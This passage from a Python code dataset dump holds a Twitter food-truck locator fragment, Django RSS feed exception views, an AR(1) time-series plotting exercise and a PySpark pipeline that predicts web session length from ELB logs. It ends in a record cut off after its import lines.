results.append(out)\n\n return results\n\ndef get_truck(truck_handle):\n \"\"\" GET a single truck by its name\"\"\"\n t = Twitter(\n auth=OAuth(\n OAUTH_TOKEN,\n OAUTH_SECRET,\n CONSUMER_KEY,\n CONSUMER_SECRET)\n )\n if truck_handle in FOOD_TRUCK_HANDLES:\n out = FOOD_TRUCK_HANDLES[truck_handle].copy()\n result = parse_tweets(t.statuses.user_timeline(screen_name=out['username'],\n exclude_replies=True,\n contributor_details=False,\n include_rts=False))\n out['tweet'] = result[0]\n out['geo'] = result[1]\n\n return out\n else:\n return {'error':'Couldnt find Truck'}\n\n\ndef parse_tweets(tweets):\n \"\"\" Parse an array of tweets\n The bits we care about look like this:\n tweet['text'] # the tweet\n tweet['geo']={u'type': u'Point', u'coordinates': [41.8169215, -71.4063959]}\n tweet['entities']['hashtags']=[{u'indices': [11, 18], u'text': u'double'}, {u'indices': [19, 24], u'text': u'hash'}]\n\n Since the api orders tweets like the timeline does, return\n \"\"\"\n from_zone = tz.gettz('UTC')\n to_zone = tz.gettz(TZ)\n now = datetime.datetime.now()\n now = now.replace(tzinfo=from_zone)\n now = now.astimezone(to_zone)\n\n for tweet in tweets:\n # Thanks Stack Overflow: http://stackoverflow.com/questions/4770297/python-convert-utc-datetime-string-to-local-datetime\n twitter_date = parser.parse(tweet[\"created_at\"])\n twitter_date.replace(tzinfo=from_zone)\n local_date = twitter_date.astimezone(to_zone)\n # we only care about today's tweets.\n if now.day == local_date.day:\n #print HASHTAG_TRIGGER\n hashtags = [tag['text'] for tag in tweet['entities']['hashtags']]\n if tweet['geo'] != None:\n if HASHTAG_TRIGGER in hashtags:\n return tweet['text'], tweet['geo']\n else:\n pass # since this has no geo data for us\n return None, None\n\n","sub_path":"finder.py","file_name":"finder.py","file_ext":"py","file_size_in_byte":2986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"623376827","text":"import datetime\nfrom utils import log as logging\nfrom django.shortcuts import get_object_or_404\nfrom django.http import HttpResponseForbidden\nfrom django.db import IntegrityError\nfrom apps.rss_feeds.models import Feed, merge_feeds\nfrom utils.user_functions import ajax_login_required\nfrom utils import json_functions as json, feedfinder\nfrom utils.feed_functions import relative_timeuntil, relative_timesince\n\n@json.json_view\ndef load_feed_statistics(request):\n stats = dict()\n feed_id = request.GET['feed_id']\n feed = get_object_or_404(Feed, pk=feed_id)\n feed.save_feed_story_history_statistics()\n \n # Dates of last and next update\n stats['last_update'] = relative_timesince(feed.last_update)\n stats['next_update'] = relative_timeuntil(feed.next_scheduled_update)\n \n # Minutes between updates\n update_interval_minutes, random_factor = feed.get_next_scheduled_update()\n stats['update_interval_minutes'] = update_interval_minutes\n \n # Stories per month - average and month-by-month breakout\n average_stories_per_month, story_count_history = feed.average_stories_per_month, feed.story_count_history\n stats['average_stories_per_month'] = average_stories_per_month\n stats['story_count_history'] = story_count_history and json.decode(story_count_history)\n \n # Subscribers\n stats['subscriber_count'] = feed.num_subscribers\n \n logging.info(\" ---> [%s] Statistics: %s\" % (request.user, feed))\n \n return stats\n \n@ajax_login_required\n@json.json_view\ndef exception_retry(request):\n feed_id = request.POST['feed_id']\n reset_fetch = json.decode(request.POST['reset_fetch'])\n feed = get_object_or_404(Feed, pk=feed_id)\n \n feed.next_scheduled_update = datetime.datetime.utcnow()\n feed.has_page_exception = False\n feed.has_feed_exception = False\n feed.active = True\n if reset_fetch:\n logging.info(' ---> [%s] Refreshing exception feed: %s' % (request.user, feed))\n feed.fetched_once = False\n else:\n logging.info(' ---> [%s] Forcing refreshing feed: %s' % (request.user, feed))\n feed.fetched_once = True\n feed.save()\n \n feed.update(force=True)\n \n return {'code': 1}\n \n \n@ajax_login_required\n@json.json_view\ndef exception_change_feed_address(request):\n feed_id = request.POST['feed_id']\n feed = get_object_or_404(Feed, pk=feed_id)\n feed_address = request.POST['feed_address']\n \n if not feed.has_feed_exception and not feed.has_page_exception:\n logging.info(\" ***********> [%s] Incorrect feed address change: %s\" % (request.user, feed))\n return HttpResponseForbidden()\n \n feed.has_feed_exception = False\n feed.active = True\n feed.fetched_once = False\n feed.feed_address = feed_address\n feed.next_scheduled_update = datetime.datetime.utcnow()\n retry_feed = feed\n try:\n feed.save()\n except IntegrityError:\n original_feed = Feed.objects.get(feed_address=feed_address)\n retry_feed = original_feed\n original_feed.next_scheduled_update = datetime.datetime.utcnow()\n original_feed.has_feed_exception = False\n original_feed.active = True\n original_feed.save()\n merge_feeds(original_feed.pk, feed.pk)\n \n logging.info(\" ---> [%s] Fixing feed exception by address: %s\" % (request.user, retry_feed.feed_address))\n retry_feed.update()\n \n return {'code': 1}\n \n@ajax_login_required\n@json.json_view\ndef exception_change_feed_link(request):\n feed_id = request.POST['feed_id']\n feed = get_object_or_404(Feed, pk=feed_id)\n feed_link = request.POST['feed_link']\n code = -1\n \n if not feed.has_page_exception and not feed.has_feed_exception:\n logging.info(\" ***********> [%s] Incorrect feed link change: %s\" % (request.user, feed))\n # This Forbidden-403 throws an error, which sounds pretty good to me right now\n return HttpResponseForbidden()\n \n retry_feed = feed\n feed_address = feedfinder.feed(feed_link)\n if feed_address:\n code = 1\n feed.has_page_exception = False\n feed.active = True\n feed.fetched_once = False\n feed.feed_link = feed_link\n feed.feed_address = feed_address\n feed.next_scheduled_update = datetime.datetime.utcnow()\n try:\n feed.save()\n except IntegrityError:\n original_feed = Feed.objects.get(feed_address=feed_address)\n retry_feed = original_feed\n original_feed.next_scheduled_update = datetime.datetime.utcnow()\n original_feed.has_page_exception = False\n original_feed.active = True\n original_feed.save()\n merge_feeds(original_feed.pk, feed.pk)\n \n logging.info(\" ---> [%s] Fixing feed exception by link: %s\" % (request.user, retry_feed.feed_link))\n retry_feed.update()\n \n return {'code': code}\n \n ","sub_path":"apps/rss_feeds/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"154858267","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 17 12:14:49 2018\n\n@author: Wengsway\n\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef timeseries(α, T):\n x = [0]\n ε = np.random.randn(T)\n for t in range(T):\n x.append(α * x[t - 1] + ε[t])\n return x\n\n\nT = int(input('Please input the T:'))\nfor i in range(3):\n α = float(input('Please input the α:'))\n plt.figure(figsize=(10, 5))\n plt.plot(timeseries(α, T + 1), color='r', label='x')\n plt.legend()\n plt.show()\n","sub_path":"L1.3_sol_python_by_example/Exercise_6.py","file_name":"Exercise_6.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"124671335","text":"\"\"\"\nAuthor: Ravi Kumar Yadav\nDate: 10/04/2018\nTopic: Section 2 question 2 Solution\n\"\"\"\n###########################################################################################\n# SECTION 2 : Additional questions for Machine Learning Engineer (MLE) candidates:\n# Q2: Predict the session length for a given IP\n###########################################################################################\n\n###########################################################################################3\n# COFIGURATION\n###########################################################################################3\n\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import *\nfrom pyspark.sql.types import *\nfrom pyspark.sql.window import Window\nimport sys\nfrom pyspark.ml.feature import VectorAssembler, StandardScaler\nfrom pyspark.ml.feature import StringIndexer\nfrom pyspark.ml.feature import OneHotEncoder\nfrom pyspark.ml.regression import LinearRegression\nfrom pyspark.ml.regression import GBTRegressor\nfrom math import sqrt\n\nspark = SparkSession.builder \\\n .master(\"local[*]\") \\\n .appName(\"test\") \\\n .enableHiveSupport() \\\n .getOrCreate()\n\nsc = spark.sparkContext\n\nsc.setLogLevel(\"ERROR\")\nsc.setCheckpointDir('C://Users/Ravi/PycharmProjects/WeblogChallenge/checkpoint/')\n\nREPARTITION_FACTOR = int(sc._jsc.sc().getExecutorMemoryStatus().size()) * 10\n# print(REPARTITION_FACTOR)\n\n# UTILS FUNCTIONS\n_minutesLambda = lambda i: i * 60\n\n###########################################################################################3\n\n###########################################################################################3\n# DATA INGESTION\n###########################################################################################3\n\nraw_data = spark.read.option(\"delimiter\", \" \").csv(\"C://Users/Ravi/PycharmProjects/WeblogChallenge/data\")\n# .sample(False, 0.0001, 42)\n\n# print(raw_data.count())\n\nprint(\"Ingesting Data...\\n \")\n\nraw_data_w_cols = raw_data \\\n .withColumnRenamed(\"_c0\", \"timestamp\") \\\n .withColumnRenamed(\"_c1\", \"elb\") \\\n .withColumnRenamed(\"_c2\", \"client\") \\\n .withColumnRenamed(\"_c3\", \"backend\") \\\n .withColumnRenamed(\"_c4\", \"request_processing_time\") \\\n .withColumnRenamed(\"_c5\", \"backend_processing_time\") \\\n .withColumnRenamed(\"_c6\", \"response_processing_time\") \\\n .withColumnRenamed(\"_c7\", \"elb_status_code\") \\\n .withColumnRenamed(\"_c8\", \"backend_status_code\") \\\n .withColumnRenamed(\"_c9\", \"received_bytes\") \\\n .withColumnRenamed(\"_c10\", \"sent_bytes\") \\\n .withColumnRenamed(\"_c11\", \"request\") \\\n .withColumnRenamed(\"_c12\", \"user_agent\") \\\n .withColumnRenamed(\"_c13\", \"ssl_cipher\") \\\n .withColumnRenamed(\"_c14\", \"ssl_protocol\") \\\n .repartition(REPARTITION_FACTOR)\n\n# print(raw_data_w_cols.select(col(\"ssl_protocol\")).distinct().count())\n\nraw_data_w_cols_clean = raw_data_w_cols \\\n .withColumn(\"request_processing_time_clean\",\n when(col(\"request_processing_time\") == \"-1\", None).otherwise(col(\"request_processing_time\"))) \\\n .withColumn(\"backend_processing_time_clean\",\n when(col(\"backend_processing_time\") == \"-1\", None).otherwise(col(\"backend_processing_time\"))) \\\n .withColumn(\"response_processing_time_clean\",\n when(col(\"response_processing_time\") == \"-1\", None).otherwise(col(\"response_processing_time\"))) \\\n .withColumn(\"elb_status_code_clean\", concat_ws(\"_\", lit(\"elb_status\"), col(\"elb_status_code\"))) \\\n .drop(\"elb_status_code\") \\\n .withColumnRenamed(\"elb_status_code_clean\", \"elb_status_code\") \\\n .withColumn(\"backend_status_code_clean\", concat_ws(\"_\", lit(\"backend_status\"), col(\"backend_status_code\"))) \\\n .drop(\"backend_status_code\") \\\n .withColumnRenamed(\"backend_status_code_clean\", \"backend_status_code\")\n\n# print(raw_data_w_cols_clean.select(col(\"user_agent\")).distinct().show())\n\nprint(\"Pre-processing Data...\")\n_pre_proc = raw_data_w_cols_clean \\\n .withColumn(\"IP\", split(col(\"client\"), \":\").getItem(0)) \\\n .withColumn(\"request_split\", split(col(\"request\"), \" \")) \\\n .withColumn(\"request_type\", col(\"request_split\").getItem(0)) \\\n .withColumn(\"URL\",\n lower(split(split(col(\"request_split\").getItem(1), \"/\").getItem(2), \":\").getItem(0).cast(StringType()))) \\\n .withColumn(\"http_version\", col(\"request_split\").getItem(2)) \\\n .withColumn(\"unix_tmpstmp\", to_utc_timestamp(col(\"timestamp\"), \"ISO 8601\")) \\\n .withColumn(\"date\", to_date(col(\"unix_tmpstmp\"))) \\\n .withColumn(\"hour\", hour(col(\"unix_tmpstmp\"))) \\\n .withColumn(\"minute\", minute(col(\"unix_tmpstmp\"))) \\\n .withColumn(\"dummy_count\", lit(1.0)) \\\n .replace([\"\\\"GET\"], [\"GET\"], \"request_type\") \\\n .withColumn(\"lagged_tmpstmp\", lag(col(\"unix_tmpstmp\"), 1).over(Window.partitionBy(\"IP\").orderBy(\"unix_tmpstmp\"))) \\\n .withColumn(\"new_session\",\n coalesce(unix_timestamp(col(\"unix_tmpstmp\")) - unix_timestamp(col(\"lagged_tmpstmp\")), lit(0.0)).cast(\n FloatType()) > 1800.0) \\\n .withColumn(\"sessionized_temp\", sum(when(col(\"new_session\") == False, 0.0).otherwise(1.0)).over(\n Window.partitionBy(\"IP\").orderBy(\"unix_tmpstmp\"))) \\\n .withColumn(\"sessionized\", concat_ws(\"_\", col(\"IP\").cast(StringType()), lit(\"Session\"),\n col(\"sessionized_temp\").cast(StringType()))) \\\n .drop(\"new_session\") \\\n .drop(\"sessionized_temp\") \\\n .drop(\"lagged_tmpstmp\") \\\n .repartition(REPARTITION_FACTOR)\n\n# print(\"_pre_proc schema:\")\n# _pre_proc.printSchema()\n\n#############################################################################\n# -- FEATURE SET 1\n#############################################################################\nprint(\"Creating feature set 1...\")\n\n_model_input_1 = _pre_proc \\\n .withColumn(\"IP_URL_visit\", size(collect_set(\"URL\").over(\n Window.partitionBy(\"IP\").orderBy(\"unix_tmpstmp\").rangeBetween(Window.unboundedPreceding,\n Window.unboundedFollowing)))) \\\n .groupBy([\"sessionized\", \"IP_URL_visit\"]) \\\n .agg(max(col(\"unix_tmpstmp\")).alias(\"session_end_time\"),\n min(col(\"unix_tmpstmp\")).alias(\"session_start_time\"),\n hour(min(col(\"unix_tmpstmp\"))).alias(\"session_start_hour\")) \\\n .withColumn(\"session_time\", (unix_timestamp(\"session_end_time\") - unix_timestamp(\"session_start_time\")) / 60.0) \\\n .select(\"sessionized\", \"session_start_hour\", \"session_time\", \"IP_URL_visit\")\n\n# print(\"_model_input_1 SCHEMA:\")\n# _model_input_1.printSchema()\n\n# _model_input_1.select(mean(col(\"session_time\"))).show(2)\n# print(_model_input_1.select(col(\"session_start_hour\")).distinct().count())\n\n########################################################################\n\nstringIndexer = StringIndexer(inputCol=\"session_start_hour\", outputCol=\"session_start_hour_indexed\")\nindexer = stringIndexer.fit(_model_input_1)\n_model_input_1_st_indexed = indexer.transform(_model_input_1)\nencoder = OneHotEncoder(inputCol=\"session_start_hour_indexed\", outputCol=\"session_start_hour_encoded\")\n_model_input_1_encoded = encoder.transform(_model_input_1_st_indexed) \\\n .drop(\"session_start_hour\") \\\n .drop(\"session_start_hour_indexed\") \\\n \\\n# _model_input_1_encoded.show(2)\n\n_feature_column_set_1 = [\"IP_URL_visit\"]\n#########################################################################\n\nassembler_1 = VectorAssembler(inputCols=_feature_column_set_1,\n outputCol=\"feature_1\")\n\n_model_input_1_feature_set = assembler_1.transform(_model_input_1_encoded) \\\n .select(\"sessionized\", \"session_time\", \"session_start_hour_encoded\", \"feature_1\")\n\n_model_input_1_feature_set.select(mean(col(\"session_time\"))).show()\n\n########################################################################\n\n#############################################################################\n# -- FEATURE SET 3\n#############################################################################\nprint(\"Creating feature set 2...\")\n\n_model_input_2_temp_1 = _pre_proc \\\n .withColumn(\"row_count\", count(col(\"date\")).over(\n Window.partitionBy([\"date\", \"hour\", \"minute\"]).orderBy(\"date\").rangeBetween(-sys.maxsize, sys.maxsize)).cast(\n FloatType())) \\\n .withColumn(\"avg_request_processing_time\", mean(col(\"request_processing_time_clean\").cast(FloatType())).over(\n Window.partitionBy([\"date\", \"hour\", \"minute\"]).orderBy(\"date\").rangeBetween(-sys.maxsize, sys.maxsize))) \\\n .withColumn(\"avg_backend_processing_time\", mean(col(\"backend_processing_time_clean\").cast(FloatType())).over(\n Window.partitionBy([\"date\", \"hour\", \"minute\"]).orderBy(\"date\").rangeBetween(-sys.maxsize, sys.maxsize))) \\\n .withColumn(\"avg_response_processing_time\", mean(col(\"response_processing_time_clean\").cast(FloatType())).over(\n Window.partitionBy([\"date\", \"hour\", \"minute\"]).orderBy(\"date\").rangeBetween(-sys.maxsize, sys.maxsize))) \\\n .groupBy([\"date\", \"hour\", \"minute\", \"row_count\", \"avg_request_processing_time\", \"avg_backend_processing_time\",\n \"avg_response_processing_time\"]) \\\n .pivot(\"request_type\").sum(\"dummy_count\") \\\n .repartition(REPARTITION_FACTOR) \\\n .na.fill(0.0) \\\n .withColumn(\"time\", to_timestamp(concat(col(\"date\"), lit(\" \"), col(\"hour\"), lit(\":\"), col(\"minute\")),\n format=\"yyyy-MM-dd HH:mm\")) \\\n .withColumn(\"load\", col(\"row_count\") / lit(60.0)) \\\n .drop(\"row_count\")\n\n_initial_column_set_2_temp_1 = set(_model_input_2_temp_1.columns) - set(\n [\"date\", \"hour\", \"minute\"]) # these are the redundant columns\n\n# print(\"_model_input_2_temp_1 SCHEMA\")\n# _model_input_2_temp_1.printSchema()\n\n####################################################################################\n\nfor col_name in list(set(_model_input_2_temp_1.columns) - set([\"date\", \"hour\", \"minute\", \"time\"])):\n # time_lag_in_mins = 15\n # while time_lag_in_mins <= 60:\n for time_lag_in_mins in [15]:\n _model_input_2_temp_1 = _model_input_2_temp_1 \\\n .withColumn(col_name + \"_cum_\" + str(time_lag_in_mins) + \"_minutes\",\n mean(col_name)\n .over(Window.partitionBy(\"date\")\n .orderBy(col(\"time\").cast(\"timestamp\").cast(\"long\"))\n .rangeBetween(- _minutesLambda(time_lag_in_mins), -1)\n )\n ) \\\n .na.fill(0.0)\n\n # time_lag_in_mins += 15\n\n# print(\"_model_input_2_temp_1 SCHEMA\")\n# _model_input_2_temp_1.printSchema()\n# _model_input_1.show(10)\n##########################################################################\n\n_final_column_set_2_temp_1 = set(_model_input_2_temp_1.columns) - _initial_column_set_2_temp_1\n\n_model_input_2_temp_1_feature_set_to_assembler = _model_input_2_temp_1 \\\n .select(list(_final_column_set_2_temp_1)) \\\n .drop(\"time\")\n\nfeature_columns_2_temp_1 = list(\n set(_model_input_2_temp_1_feature_set_to_assembler.columns) - set([\"date\", \"hour\", \"minute\"]))\n\n# print(feature_columns_2_temp_1)\n\n###########################################################################\n\nassembler_2_temp_1 = VectorAssembler(inputCols=feature_columns_2_temp_1,\n outputCol=\"feature_2\")\n\n_model_input_2_temp_1_feature_set = assembler_2_temp_1.transform(_model_input_2_temp_1_feature_set_to_assembler) \\\n .withColumn(\"date_hour_min\", concat_ws(\"_\", concat_ws(\"_\", col(\"date\"), col(\"hour\")), col(\"minute\"))) \\\n .select(\"date_hour_min\", \"feature_2\") \\\n \\\n# _model_input_2_temp_1_feature_set.printSchema()\n\n#########################################################################\n\n_session_start_date_hour_min = _pre_proc \\\n .groupBy(\"sessionized\") \\\n .agg(min(\"unix_tmpstmp\").alias(\"session_start_time\")) \\\n .withColumn(\"date\", to_date(col(\"session_start_time\"))) \\\n .withColumn(\"hour\", hour(col(\"session_start_time\"))) \\\n .withColumn(\"minute\", minute(col(\"session_start_time\"))) \\\n .withColumn(\"date_hour_min\", concat_ws(\"_\", concat_ws(\"_\", col(\"date\"), col(\"hour\")), col(\"minute\"))) \\\n .select(\"sessionized\", \"date_hour_min\")\n\n# print(\"_model_input_2_temp_2 SCHEMA:\")\n# _model_input_2_temp_2.printSchema()\n\n_model_input_2_feature_set = _session_start_date_hour_min \\\n .join(_model_input_2_temp_1_feature_set, \"date_hour_min\", how=\"left\") \\\n .drop(\"date_hour_min\")\n\n# print(\"_model_input_2 SCHEMA:\")\n# _model_input_2.printSchema()\n# _model_input_2.show(10)\n\n############################################################################\n\n#############################################################################\n# -- FEATURE SET 3\n#############################################################################\nprint(\"Creating feature set 3...\")\n\n_model_input_3_temp_1 = _pre_proc \\\n .groupBy([\"date\", \"hour\", \"minute\"]) \\\n .pivot(\"elb_status_code\").sum(\"dummy_count\") \\\n .repartition(REPARTITION_FACTOR) \\\n .na.fill(0.0) \\\n .withColumn(\"time\", to_timestamp(concat(col(\"date\"), lit(\" \"), col(\"hour\"), lit(\":\"), col(\"minute\")),\n format=\"yyyy-MM-dd HH:mm\"))\n\n_initial_column_set_3_temp_1 = set(_model_input_3_temp_1.columns) - set([\"date\", \"hour\", \"minute\"])\n\n# print(\"_model_input_3_temp_1 SCHEMA\")\n# _model_input_3_temp_1.printSchema()\n###############################################################################\n\nfor col_name in list(set(_model_input_3_temp_1.columns) - set([\"date\", \"hour\", \"minute\", \"time\"])):\n\n for time_lag_in_mins in [15]:\n _model_input_3_temp_1 = _model_input_3_temp_1 \\\n .withColumn(col_name + \"_cum_\" + str(time_lag_in_mins) + \"_minutes\",\n sum(col_name)\n .over(Window.partitionBy(\"date\")\n .orderBy(col(\"time\").cast(\"timestamp\").cast(\"long\"))\n .rangeBetween(- _minutesLambda(time_lag_in_mins), -1)\n )\n ) \\\n .na.fill(0.0)\n\n###############################################################################\n\n_final_column_set_3_temp_1 = set(_model_input_3_temp_1.columns) - _initial_column_set_3_temp_1\n\n_model_input_3_temp_1_feature_set_to_assembler = _model_input_3_temp_1 \\\n .drop(\"time\") \\\n .select(list(_final_column_set_3_temp_1))\n\nfeature_columns_3_temp_1 = list(\n set(_model_input_3_temp_1_feature_set_to_assembler.columns) - set([\"date\", \"hour\", \"minute\"]))\n\n#############################################################################33\n\nassembler_3_temp_1 = VectorAssembler(inputCols=feature_columns_3_temp_1,\n outputCol=\"feature_3\")\n\n_model_input_3_temp_1_feature_set = assembler_3_temp_1.transform(_model_input_3_temp_1_feature_set_to_assembler) \\\n .withColumn(\"date_hour_min\", concat_ws(\"_\", concat_ws(\"_\", col(\"date\"), col(\"hour\")), col(\"minute\"))) \\\n .select(\"date_hour_min\", \"feature_3\")\n\n################################################################################\n\n_model_input_3_feature_set = _session_start_date_hour_min \\\n .join(_model_input_3_temp_1_feature_set, \"date_hour_min\", how=\"left\") \\\n .drop(\"date_hour_min\")\n################################################################################\n\n#############################################################################\n# -- FEATURE SET 4\n#############################################################################\n\nprint(\"Creating feature set 4...\")\n_model_input_4_temp_1 = _pre_proc \\\n .groupBy([\"date\", \"hour\", \"minute\"]) \\\n .pivot(\"backend_status_code\").sum(\"dummy_count\") \\\n .repartition(REPARTITION_FACTOR) \\\n .na.fill(0.0) \\\n .withColumn(\"time\", to_timestamp(concat(col(\"date\"), lit(\" \"), col(\"hour\"), lit(\":\"), col(\"minute\")),\n format=\"yyyy-MM-dd HH:mm\"))\n\n_initial_column_set_4_temp_1 = set(_model_input_4_temp_1.columns) - set([\"date\", \"hour\", \"minute\"])\n\n# print(\"_model_input_4_temp_1 SCHEMA\")\n# _model_input_4_temp_1.printSchema()\n\n##############################################################################\n\nfor col_name in list(set(_model_input_4_temp_1.columns) - set([\"date\", \"hour\", \"minute\", \"time\"])):\n\n for time_lag_in_mins in [15]:\n _model_input_4_temp_1 = _model_input_4_temp_1 \\\n .withColumn(col_name + \"_cum_\" + str(time_lag_in_mins) + \"_minutes\",\n sum(col_name)\n .over(Window.partitionBy(\"date\")\n .orderBy(col(\"time\").cast(\"timestamp\").cast(\"long\"))\n .rangeBetween(- _minutesLambda(time_lag_in_mins), -1)\n )\n ) \\\n .na.fill(0.0)\n\n# print(\"_model_input_4_temp_1 SCHEMA\")\n# _model_input_4_temp_1.printSchema()\n\n#############################################################################\n\n_final_column_set_4_temp_1 = set(_model_input_4_temp_1.columns) - _initial_column_set_4_temp_1\n\n_model_input_4_temp_1_feature_set_to_assembler = _model_input_4_temp_1 \\\n .drop(\"time\") \\\n .select(list(_final_column_set_4_temp_1))\n\nfeature_columns_4_temp_1 = list(\n set(_model_input_4_temp_1_feature_set_to_assembler.columns) - set([\"date\", \"hour\", \"minute\"]))\n\n#############################################################################\n\nassembler_4_temp_1 = VectorAssembler(inputCols=feature_columns_4_temp_1,\n outputCol=\"feature_4\")\n\n_model_input_4_temp_1_feature_set = assembler_4_temp_1.transform(_model_input_4_temp_1_feature_set_to_assembler) \\\n .withColumn(\"date_hour_min\", concat_ws(\"_\", concat_ws(\"_\", col(\"date\"), col(\"hour\")), col(\"minute\"))) \\\n .select(\"date_hour_min\", \"feature_4\")\n\n# _model_input_4_temp_1_feature_set.show(5)\n\n################################################################################################\n\n################################################################################\n\n_model_input_4_feature_set = _session_start_date_hour_min \\\n .join(_model_input_4_temp_1_feature_set, \"date_hour_min\", how=\"left\") \\\n .drop(\"date_hour_min\")\n\n################################################################################\n\n#############################################################################\n# -- FEATURE SET 5\n#############################################################################\nprint(\"Creating feature set 5...\")\n_model_input_5_temp_1 = _pre_proc \\\n .select(col(\"date\"), col(\"hour\"), col(\"minute\"), col(\"received_bytes\"), col(\"sent_bytes\")) \\\n .groupBy([\"date\", \"hour\", \"minute\"]) \\\n .agg(mean(col(\"received_bytes\").cast(FloatType())).alias(\"avg_received_bytes\"),\n mean(col(\"sent_bytes\").cast(FloatType())).alias(\"avg_sent_bytes\")) \\\n .repartition(REPARTITION_FACTOR) \\\n .withColumn(\"time\", to_timestamp(concat(col(\"date\"), lit(\" \"), col(\"hour\"), lit(\":\"), col(\"minute\")),\n format=\"yyyy-MM-dd HH:mm\"))\n\n_initial_column_set_5_temp_1 = set(_model_input_5_temp_1.columns) - set([\"date\", \"hour\", \"minute\"])\n\n# print(\"_model_input_5_temp_1 SCHEMA\")\n# _model_input_5_temp_1.printSchema()\n#################################################################################\n\nfor col_name in list(set(_model_input_5_temp_1.columns) - set([\"date\", \"hour\", \"minute\", \"time\"])):\n\n for time_lag_in_mins in [15]:\n _model_input_5_temp_1 = _model_input_5_temp_1 \\\n .withColumn(col_name + \"_cum_\" + str(time_lag_in_mins) + \"_minutes\",\n sum(col_name)\n .over(Window.partitionBy(\"date\")\n .orderBy(col(\"time\").cast(\"timestamp\").cast(\"long\"))\n .rangeBetween(- _minutesLambda(time_lag_in_mins), -1)\n )\n ) \\\n .na.fill(0.0)\n\n# print(\"_model_input_5_temp_1 SCHEMA\")\n# _model_input_5_temp_1.printSchema()\n#############################################################################\n\n_final_column_set_5_temp_1 = set(_model_input_5_temp_1.columns) - _initial_column_set_5_temp_1\n\n_model_input_5_temp_1_feature_set_to_assembler = _model_input_5_temp_1 \\\n .drop(\"time\") \\\n .select(list(_final_column_set_5_temp_1))\n\nfeature_columns_5_temp_1 = list(\n set(_model_input_5_temp_1_feature_set_to_assembler.columns) - set([\"date\", \"hour\", \"minute\"]))\n\n#############################################################################33\n\nassembler_5_temp_1 = VectorAssembler(inputCols=feature_columns_5_temp_1,\n outputCol=\"feature_5\")\n\n_model_input_5_temp_1_feature_set = assembler_5_temp_1.transform(_model_input_5_temp_1_feature_set_to_assembler) \\\n .withColumn(\"date_hour_min\", concat_ws(\"_\", concat_ws(\"_\", col(\"date\"), col(\"hour\")), col(\"minute\"))) \\\n .select(\"date_hour_min\", \"feature_5\")\n\n# _model_input_5_temp_1_feature_set.show(5)\n\n################################################################################\n\n_model_input_5_feature_set = _session_start_date_hour_min \\\n .join(_model_input_5_temp_1_feature_set, \"date_hour_min\", how=\"left\") \\\n .drop(\"date_hour_min\")\n\n################################################################################\n\n##################################################################################\n# -- FINAL MODEL INPUT DATA COMBINING FEATURE SET 1,2,3,4,5\n##################################################################################\nprint(\"Combining feature sets...\\n\")\n_complete_model_input = _model_input_1_feature_set \\\n .join(_model_input_2_feature_set, [\"sessionized\"]) \\\n .join(_model_input_3_feature_set, [\"sessionized\"]) \\\n .join(_model_input_4_feature_set, [\"sessionized\"]) \\\n .join(_model_input_5_feature_set, [\"sessionized\"]) \\\n .repartition(REPARTITION_FACTOR)\n\n# _complete_model_input.show(5)\n\n_complete_feature_list_continuous_var = list(\n set(_complete_model_input.columns) - set([\"sessionized\", \"session_time\", \"session_start_hour_encoded\"]))\n\nassembler_continuous_var = VectorAssembler(inputCols=_complete_feature_list_continuous_var,\n outputCol=\"feature_continuous\")\n\n_model_input_all_feature = assembler_continuous_var.transform(_complete_model_input) \\\n .select(\"sessionized\", \"session_time\", \"session_start_hour_encoded\", \"feature_continuous\")\n\n# print(\"_model_input_all_feature SCHEMA\")\n# _model_input_all_feature.printSchema()\n# _model_input_all_feature.show(2)\n\n########################################################################################\nprint(\"Scaling features...\")\nscaler = StandardScaler(inputCol=\"feature_continuous\", outputCol=\"scaledFeatures\",\n withStd=True, withMean=True)\n\nscalerModel = scaler.fit(_model_input_all_feature)\n\n_model_input_continuous_feature_scaled = scalerModel.transform(_model_input_all_feature)\n\n# _model_input_continuous_feature_scaled.printSchema()\n\n_complete_feature_list = [\"scaledFeatures\", \"session_start_hour_encoded\"]\n\n########################################################################################\n\nassembler = VectorAssembler(inputCols=_complete_feature_list,\n outputCol=\"feature\")\n\n_model_input_all_feature_vectorized = assembler.transform(_model_input_continuous_feature_scaled) \\\n .select(\"sessionized\", \"session_time\", \"feature\")\n\n# _model_input_all_feature_vectorized.printSchema()\n\n########################################################################################\n# --MODEL BUILDING\n########################################################################################\nprint(\"Model Training...\\n\")\nsplits = _model_input_all_feature_vectorized.randomSplit([0.7, 0.3])\ntrainingData = splits[0]\ntestData = splits[1]\n\n# trainingData.show(3)\n#\n# lr = LinearRegression()\\\n# .setLabelCol(\"load\")\\\n# .setFeaturesCol(\"feature\")\\\n# .setMaxIter(10)\\\n# .setRegParam(1.0)\\\n# .setElasticNetParam(1.0)\n#\n# lrModel = lr.fit(trainingData)\n# _test_pred = lrModel.transform(testData).select(\"feature\", \"load\", \"prediction\")\n\n\ngbt = GBTRegressor(maxIter=3, maxDepth=3, seed=42, maxMemoryInMB=2048) \\\n .setLabelCol(\"session_time\") \\\n .setFeaturesCol(\"feature\")\n\ngbtModel = gbt.fit(trainingData)\n_test_pred = gbtModel.transform(testData).select(\"feature\", \"session_time\", \"prediction\")\n\n# print(\"_train_pred SCHEMA\")\n# _test_pred.printSchema()\n# _test_pred.catch()\n# _test_pred.show(30)\n\ntestMSE = _test_pred.rdd.map(lambda lp: (lp[1] - lp[2]) * (lp[1] - lp[2])).sum() / \\\n float(_test_pred.count())\n\nprint(\"\\n####################################################################\\n\")\nprint('Test Root Mean Squared Error = ' + str(sqrt(testMSE)))\nprint(\"\\n####################################################################\\n\")\n\n#########################################################################################\n","sub_path":"solution_section_2_q_2.py","file_name":"solution_section_2_q_2.py","file_ext":"py","file_size_in_byte":24791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"322916238","text":"import os\nimport subprocess\nfrom cryptography.fernet import Fernet\nimport re\nimport json\nimport requests\nimport time\nimport threading\nfrom pathlib import Path\n\nuser = str(os.environ[\"USERNAME\"])\npathds = 